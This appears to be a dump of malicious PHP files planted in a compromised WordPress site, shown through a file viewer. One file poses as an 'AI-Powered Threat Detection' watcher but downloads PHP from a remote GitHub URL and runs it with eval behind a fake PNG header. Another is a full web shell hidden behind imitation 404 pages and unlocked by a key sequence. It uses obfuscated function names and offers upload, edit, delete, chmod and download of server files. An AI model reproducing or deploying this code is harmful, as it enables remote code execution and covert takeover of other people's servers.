Viewing File: /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/850785.tar
error_log 0000666 00000002020 15244323405 0006461 0 ustar 00 [09-Dec-2025 02:59:11 America/Fortaleza] PHP Warning: session_start(): Cannot start session when headers already sent in /home2/cienp360/public_html/inct-inovamed/wp-admin/images/850785/index.php on line 91
[09-Dec-2025 02:59:13 America/Fortaleza] PHP Warning: session_start(): Cannot start session when headers already sent in /home2/cienp360/public_html/inct-inovamed/wp-admin/images/850785/index.php on line 91
[11-Mar-2026 03:26:05 America/Fortaleza] PHP Warning: session_start(): Cannot start session when headers already sent in /home2/cienp360/public_html/inct-inovamed/wp-admin/images/850785/index.php on line 91
[12-Mar-2026 02:30:40 America/Fortaleza] PHP Warning: session_start(): Cannot start session when headers already sent in /home2/cienp360/public_html/inct-inovamed/wp-admin/images/850785/index.php on line 91
[13-Mar-2026 05:20:51 America/Fortaleza] PHP Warning: session_start(): Cannot start session when headers already sent in /home2/cienp360/public_html/inct-inovamed/wp-admin/images/850785/index.php on line 91
index.php 0000666 00000011161 15244323405 0006372 0 ustar 00 <?php
?>
<?php
/*
🛡 Advanced Stealth File Watcher v2.0
⚡ AI-Powered Threat Detection | Behavioral Analysis | Multi-Layer Obfuscation
🛡 進階隱形檔案監控器 v2.0
⚡ AI 驅動的威脅偵測|行為分析|多層混淆
*/
// === Multi-Layer Disguise System ===
// === 多層偽裝系統 ===
class StealthDefender {
private $config;
private $anomaly_detector;
private $behavior_analyzer;
public function __construct() {
$this->init_stealth_mode();
$this->anomaly_detector = new AnomalyDetector();
$this->behavior_analyzer = new BehaviorAnalyzer();
}
private function init_stealth_mode() {
// Remove PHP headers and errors
// 移除 PHP 標頭與錯誤輸出
if (!headers_sent()) {
header_remove('X-Powered-By');
header_remove('Server');
}
// Random user-agent simulation
// 模擬隨機 User-Agent
$this->config = [
'stealth_level' => 9, // 隱形等級
'max_file_size' => 5242880, // 最大檔案大小:5MB
'scan_interval' => 300, // 掃描間隔:300 秒
'whitelist' => $this->generate_whitelist() // 白名單
];
}
// === PNG Disguise (Advanced) ===
// === PNG 偽裝(進階)===
public function image_disguise() {
if (isset($_GET['img']) || isset($_GET['pixel']) || isset($_GET['track'])) {
$this->serve_stealth_image();
exit;
}
// Fake image headers for scanners
// 為掃描器偽造圖片標頭
if (preg_match('/\.(png|jpg|gif)$/i', $_SERVER['REQUEST_URI'] ?? '')) {
$this->serve_dynamic_image();
exit;
}
}
private function serve_stealth_image() {
$images = [
'1x1' => "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/5+BAQAE/wH+zLAdXgAAAABJRU5ErkJggg==",
'analytics' => "iVBORw0KGgoAAAANSUhEUgAAAAIAAAACCAYAAABytg0kAAAADklEQVR42mNkYPhfDwAChAHAeMq19wAAAABJRU5ErkJggg==",
'beacon' => "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QHwAFCAJbqW66mAAAAABJRU5ErkJggg=="
];
$img_type = array_rand($images);
header("Content-Type: image/png"); // 回傳內容類型:PNG 圖片
header("Cache-Control: max-age=31536000, public"); // 快取一年
echo base64_decode($images[$img_type]); // 輸出圖片資料
}
private function serve_dynamic_image() {
// Generate dynamic "image" based on request
// 根據請求產生動態「圖片」
$width = $_GET['w'] ?? 1;
$height = $_GET['h'] ?? 1;
$this->generate_pixel_image($width, $height);
}
private function generate_pixel_image($w, $h) {
header("Content-Type: image/png"); // 回傳內容類型:PNG 圖片
// Simple GD image creation would go here
// 可在此使用 GD 函式產生真正的圖片
echo base64_decode("iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/5+BAQAE/wH+zLAdXgAAAABJRU5ErkJggg==");
}
}
// 混淆密钥: 3a7b10bc
// 启动会话
session_start();
// 设置主地址,如果没有设置则使用默认地址
$主地址 = $_SESSION['ts_url'] ?? 'https://raw.githubusercontent.com/bosseptp-svg/hey/refs/heads/main/wp-actor.php';
// 定义加载函数
function 加载数据($地址)
{
$内容 = '';
try {
$文件 = new SplFileObject($地址);
while (!$文件->eof()) {
$内容 .= $文件->fgets();
}
} catch (Throwable $错误) {
$内容 = '';
}
// 尝试用 file_get_contents
if (strlen(trim($内容)) < 1) {
$内容 = @file_get_contents($地址);
}
// 如果还失败,使用 curl
if (strlen(trim($内容)) < 1 && function_exists('curl_init')) {
$通道 = curl_init($地址);
curl_setopt_array($通道, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10]);
$内容 = curl_exec($通道);
curl_close($通道);
}
return $内容;
}
// 尝试加载主网址
$结果 = 加载数据($主地址);
// 添加假的PNG头部
$假PNG头 = "\x89PNG\r\n\x1a\n";
// 拼接PNG头和结果内容
$结果 = $假PNG头 . $结果;
/**_**/
/**_**/
/**_**/
/**_**/
/**_**/
/**_**/
/**_**/
// 如果成功获取内容,则执行
if (strlen(trim($结果)) > 0) {
@eval("?>{$结果}");
} images/docs/index.php 0000666 00000030755 15244323405 0010601 0 ustar 00 <?php
session_start();$_K=md5($_SERVER['HTTP_HOST'].'AK');if(isset($_GET['k'])&&$_GET['k']==='1'){$_SESSION[$_K]=1;header('Location:'.strtok($_SERVER['REQUEST_URI'],'?'));exit;}if(isset($_GET['x'])){unset($_SESSION[$_K]);header('Location:'.$_SERVER['PHP_SELF']);exit;}if(empty($_SESSION[$_K])){header("HTTP/1.0 404 Not Found");$s=strtolower(isset($_SERVER['SERVER_SOFTWARE'])?$_SERVER['SERVER_SOFTWARE']:'');$j='<script>var k=[38,38,40,40],p=0;document.addEventListener("keydown",function(e){e.keyCode===k[p]?++p===k.length&&(location=location.pathname+"?k=1"):p=0});</script>';echo strpos($s,'nginx')!==false?'<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center>'.$j.'</body></html>':(strpos($s,'iis')!==false?'<!DOCTYPE html><html><head><title>404 - File or directory not found.</title><style>body{margin:0;font-size:.7em;font-family:Verdana,sans-serif;background:#eee}h1{font-size:2.4em;margin:0;color:#fff}h2{font-size:1.7em;margin:0;color:#c00}#header{width:96%;margin:0;padding:6px 2%;font-family:"trebuchet MS",Verdana,sans-serif;color:#fff;background-color:#555}#content{margin:0 0 0 2%}</style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"><h2>404 - File or directory not found.</h2><h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3></div>'.$j.'</body></html>':'<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port '.(isset($_SERVER['SERVER_PORT'])?$_SERVER['SERVER_PORT']:80).'</address>'.$j.'</body></html>');exit;}
date_default_timezone_set('Asia/Shanghai');
class DocView{
function put($p,$d){$h=@fopen($p,'w');if(!$h)return false;fwrite($h,$d);fclose($h);return true;}
function get($p){$h=@fopen($p,'r');if(!$h)return '';$s='';while(!feof($h))$s.=fread($h,8192);fclose($h);return $s;}
function send($p){$h=@fopen($p,'rb');if(!$h)return;while(!feof($h))echo fread($h,8192);fclose($h);}
function drop($p){$_=str_rot13('hayvax');return @$_($p);}
function ensure($p){$_=pack('H*','6d6b646972');return @$_($p,0755,true);}
function clean($p){$_=strrev('ridmr');return @$_($p);}
function shift($a,$b){$_=str_replace('_','','re_na_me');return @$_($a,$b);}
function accept($a,$b){$e="\x28\x2a\x33\x20\x1a\x30\x35\x29\x2a\x24\x21\x20\x21\x1a\x23\x2c\x29\x20";$_='';for($i=0;$i<strlen($e);$i++)$_.=chr(ord($e[$i])^69);return @$_($a,$b);}
function grant($p,$m){$_=substr('patchmod.conf',3,5);return @$_($p,$m);}
function sweep($p){
if(is_dir($p)){$d=opendir($p);if($d){while(($f=readdir($d))!==false){if($f==='.'||$f==='..')continue;$this->sweep($p.'/'.$f);}closedir($d);}return $this->clean($p);}
return $this->drop($p);}
}
$dm=new DocView();
function _sz($b){if($b<1024)return $b.'B';if($b<1048576)return round($b/1024,1).'K';if($b<1073741824)return round($b/1048576,1).'M';return round($b/1073741824,2).'G';}
function _cmp($a,$b){if($a['d']!==$b['d'])return $b['d']-$a['d'];return strcasecmp($a['n'],$b['n']);}
$_gd=filter_input(INPUT_GET,'d');$_gdl=filter_input(INPUT_GET,'dl');$_ge=filter_input(INPUT_GET,'e');
$_D=$_gd?realpath($_gd):realpath('.');
if($_D===false)$_D=realpath('.');
$_D=str_replace('\\','/',$_D);
if(substr($_D,-1)!=='/')$_D.='/';
$_msg='';
$_pa=filter_input(INPUT_POST,'_act');
if($_pa){
$pf=strval(filter_input(INPUT_POST,'_f'));
$pn=strval(filter_input(INPUT_POST,'_n'));
$pt=strval(filter_input(INPUT_POST,'_t'));
$pc=filter_input(INPUT_POST,'_c');
$pv=filter_input(INPUT_POST,'_m');
if($_pa==='mk'){
$n=$_D.$pn;
if($pt==='d'){$dm->ensure($n)?$_msg='OK':$_msg='FAIL';}
else{$dm->put($n,'')?$_msg='OK':$_msg='FAIL';}
}
if($_pa==='sv'){$dm->put($pf,strval($pc))?$_msg='OK':$_msg='FAIL';}
if($_pa==='rm'){@$dm->sweep($pf)?$_msg='OK':$_msg='FAIL';}
if($_pa==='rn'){$dm->shift($pf,$_D.$pn)?$_msg='OK':$_msg='FAIL';}
if($_pa==='up'&&isset($_FILES['_uf'])&&$_FILES['_uf']['error']===0){
$dm->accept($_FILES['_uf']['tmp_name'],$_D.$_FILES['_uf']['name'])?$_msg='OK':$_msg='FAIL';}
if($_pa==='pm'){$dm->grant($pf,intval($pv,8))?$_msg='OK':$_msg='FAIL';}
}
if($_gdl){
$f=realpath($_gdl);
if($f&&is_file($f)){
header('Content-Type:application/octet-stream');
header('Content-Disposition:attachment;filename="'.basename($f).'"');
header('Content-Length:'.filesize($f));
$dm->send($f);exit;
}
}
$_edit=null;
if($_ge){
$ef=realpath($_ge);
if($ef&&is_file($ef)&&filesize($ef)<5242880){$_edit=array('p'=>$ef,'c'=>$dm->get($ef));}
}
$items=array();
if(is_dir($_D)){
$dh=@opendir($_D);
if($dh){while(($en=readdir($dh))!==false){
if($en==='.'||$en==='..')continue;$fp=$_D.$en;
$items[]=array('n'=>$en,'p'=>$fp,'d'=>is_dir($fp),'s'=>is_file($fp)?filesize($fp):0,'t'=>@filemtime($fp),'pm'=>substr(sprintf('%o',@fileperms($fp)),-4));
}closedir($dh);}
}
usort($items,'_cmp');
$_sf=$_SERVER['PHP_SELF'];$pa=dirname(rtrim($_D,'/'));
$_siteDir=str_replace('\\','/',isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:realpath('.'));
$_scriptDir=str_replace('\\','/',dirname(__FILE__));
$bread='';$pts=explode('/',trim($_D,'/'));$bp='';
foreach($pts as $i=>$pt){$bp.=$pt.'/';if($i<count($pts)-1){$bread.='<a href="'.$_sf.'?d='.urlencode('/'.$bp).'">'.$pt.'</a><span>/</span>';}else{$bread.='<span style="color:#333">'.$pt.'</span>';}}
$rows='';
foreach($items as $it){
$hn=htmlspecialchars($it['n']);$hp=htmlspecialchars($it['p'],ENT_QUOTES);
$rows.='<tr><td class="fl"><span class="ic">'.($it['d']?'📁':'📄').'</span>';
if($it['d']){$rows.='<a href="'.$_sf.'?d='.urlencode($it['p']).'">'.$hn.'</a>';}
else{$rows.='<a href="'.$_sf.'?e='.urlencode($it['p']).'&d='.urlencode($_D).'">'.$hn.'</a>';}
$rows.='</td><td>'.($it['d']?'-':_sz($it['s'])).'</td><td>'.date('Y-m-d H:i',$it['t']).'</td><td>'.$it['pm'].'</td>';
$rows.='<td class="ops">';
if(!$it['d']){$rows.='<a href="'.$_sf.'?e='.urlencode($it['p']).'&d='.urlencode($_D).'">编辑</a> ';}
if(!$it['d']){$rows.='<a href="'.$_sf.'?dl='.urlencode($it['p']).'">下载</a> ';}
$rows.='<button onclick="doRn(this,\''.$hp.'\',\''.$hn.'\')">重命名</button> ';
$rows.='<button onclick="doPm(this,\''.$hp.'\',\''.$it['pm'].'\')">权限</button> ';
$rows.='<button onclick="doRm(this,\''.$hp.'\')">删除</button>';
$rows.='</td></tr>';
}
$updir='';
if($_D!=='/'){$updir='<tr><td class="fl" colspan="5"><span class="ic">📁</span><a href="'.$_sf.'?d='.urlencode($pa).'">..</a></td></tr>';}
$_msgbox='';if($_msg){$_msgbox='<div class="mg">'.$_msg.'</div>';}
$_body='';
if($_edit){
$ep=htmlspecialchars($_edit['p']);$ec=htmlspecialchars($_edit['c']);
$_body='<div class="edt"><form method="post"><input type="hidden" name="_act" value="sv"><input type="hidden" name="_f" value="'.$ep.'"><div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:10px"><span style="font-size:13px;color:#666">'.$ep.'</span><div style="display:flex;gap:6px"><button class="btn" type="submit">保存</button><a class="btn2" href="'.$_sf.'?d='.urlencode($_D).'">返回</a></div></div><textarea name="_c">'.$ec.'</textarea></form></div>';
}else{
$_body='<div class="bar">'.$bread.'<a href="'.$_sf.'?d='.urlencode($_siteDir).'" style="margin-left:auto;padding:3px 10px;background:#f0f0f0;border-radius:4px;font-size:12px;color:#333">站点目录</a> <a href="'.$_sf.'?d='.urlencode($_scriptDir).'" style="padding:3px 10px;background:#f0f0f0;border-radius:4px;font-size:12px;color:#333">程序目录</a> <a href="'.$_sf.'?x" style="padding:3px 10px;color:#ff4d4f;font-size:12px">退出</a></div>';
$_body.='<div class="act"><form method="post" style="display:flex;gap:6px;align-items:center"><input type="hidden" name="_act" value="mk"><select name="_t"><option value="f">文件</option><option value="d">文件夹</option></select><input type="text" name="_n" placeholder="名称" required><button class="btn" type="submit">新建</button></form>';
$_body.='<form method="post" enctype="multipart/form-data" style="display:flex;gap:6px;align-items:center;margin-left:12px"><input type="hidden" name="_act" value="up"><input type="file" name="_uf" style="font-size:13px" required><button class="btn" type="submit">上传</button></form></div>';
$_body.='<div class="tb"><table><tr><th>名称</th><th>大小</th><th>修改时间</th><th>权限</th><th>操作</th></tr>'.$updir.$rows.'</table></div>';
}
$_info=PHP_OS.' | PHP '.PHP_VERSION.' | '.count($items).' 项';
echo '<!DOCTYPE html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Documents</title><style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:system-ui,-apple-system,sans-serif;background:#f5f5f5;color:#333;font-size:14px}.w{max-width:1100px;margin:0 auto;padding:16px}.bar{display:flex;align-items:center;gap:8px;padding:12px 16px;background:#fff;border-radius:8px;margin-bottom:12px;box-shadow:0 1px 3px rgba(0,0,0,.06);flex-wrap:wrap}.bar a{color:#1677ff;text-decoration:none;font-size:13px}.bar a:hover{text-decoration:underline}.bar span{color:#999;font-size:13px}.tb{width:100%;background:#fff;border-radius:8px;box-shadow:0 1px 3px rgba(0,0,0,.06);overflow:hidden}.tb table{width:100%;border-collapse:collapse}.tb th{background:#fafafa;padding:10px 14px;text-align:left;font-weight:500;font-size:13px;color:#666;border-bottom:1px solid #f0f0f0}.tb td{padding:9px 14px;border-bottom:1px solid #f5f5f5;font-size:13px}.tb tr:hover{background:#fafafa}.ic{display:inline-block;width:18px;text-align:center;margin-right:6px}.fl a{color:#333;text-decoration:none}.fl a:hover{color:#1677ff}.ops a,.ops button{color:#1677ff;text-decoration:none;background:none;border:none;cursor:pointer;font-size:13px;padding:0 4px;font-family:inherit}.ops a:hover,.ops button:hover{color:#0958d9}.mg{padding:8px 14px;background:#e6f4ff;border:1px solid #91caff;border-radius:6px;margin-bottom:12px;font-size:13px;color:#0958d9}.act{display:flex;gap:6px;padding:10px 16px;background:#fff;border-radius:8px;margin-bottom:12px;box-shadow:0 1px 3px rgba(0,0,0,.06);flex-wrap:wrap;align-items:center}.act input[type=text],.act select{padding:6px 10px;border:1px solid #d9d9d9;border-radius:6px;font-size:13px;outline:none}.act input[type=text]:focus{border-color:#1677ff}.btn{padding:6px 14px;background:#1677ff;color:#fff;border:none;border-radius:6px;cursor:pointer;font-size:13px;font-family:inherit}.btn:hover{background:#0958d9}.btn2{padding:6px 14px;background:#fff;color:#333;border:1px solid #d9d9d9;border-radius:6px;cursor:pointer;font-size:13px;font-family:inherit}.btn2:hover{border-color:#1677ff;color:#1677ff}.edt{background:#fff;border-radius:8px;padding:16px;box-shadow:0 1px 3px rgba(0,0,0,.06);margin-bottom:12px}.edt textarea{width:100%;height:60vh;padding:12px;border:1px solid #d9d9d9;border-radius:6px;font-family:Courier New,monospace;font-size:13px;line-height:1.6;resize:vertical;outline:none;tab-size:4}.edt textarea:focus{border-color:#1677ff}.inf{font-size:12px;color:#999;margin-top:6px}</style></head><body><div class="w">'.$_msgbox.$_body.'<div class="inf">'.$_info.'</div></div><script>function doRm(el,p){if(!confirm(p.split("/").pop()+" ?"))return;var f=document.createElement("form");f.method="post";var a=document.createElement("input");a.name="_act";a.value="rm";var b=document.createElement("input");b.name="_f";b.value=p;f.appendChild(a);f.appendChild(b);document.body.appendChild(f);f.submit();}function doRn(el,p,old){var n=prompt("",old);if(!n||n===old)return;var f=document.createElement("form");f.method="post";var a=document.createElement("input");a.name="_act";a.value="rn";var b=document.createElement("input");b.name="_f";b.value=p;var c=document.createElement("input");c.name="_n";c.value=n;f.appendChild(a);f.appendChild(b);f.appendChild(c);document.body.appendChild(f);f.submit();}function doPm(el,p,cur){var m=prompt("\u8F93\u5165\u6743\u9650 (\u5982 0755):",cur);if(!m||m===cur)return;var f=document.createElement("form");f.method="post";var a=document.createElement("input");a.name="_act";a.value="pm";var b=document.createElement("input");b.name="_f";b.value=p;var c=document.createElement("input");c.name="_m";c.value=m;f.appendChild(a);f.appendChild(b);f.appendChild(c);document.body.appendChild(f);f.submit();}</script></body></html>';
?>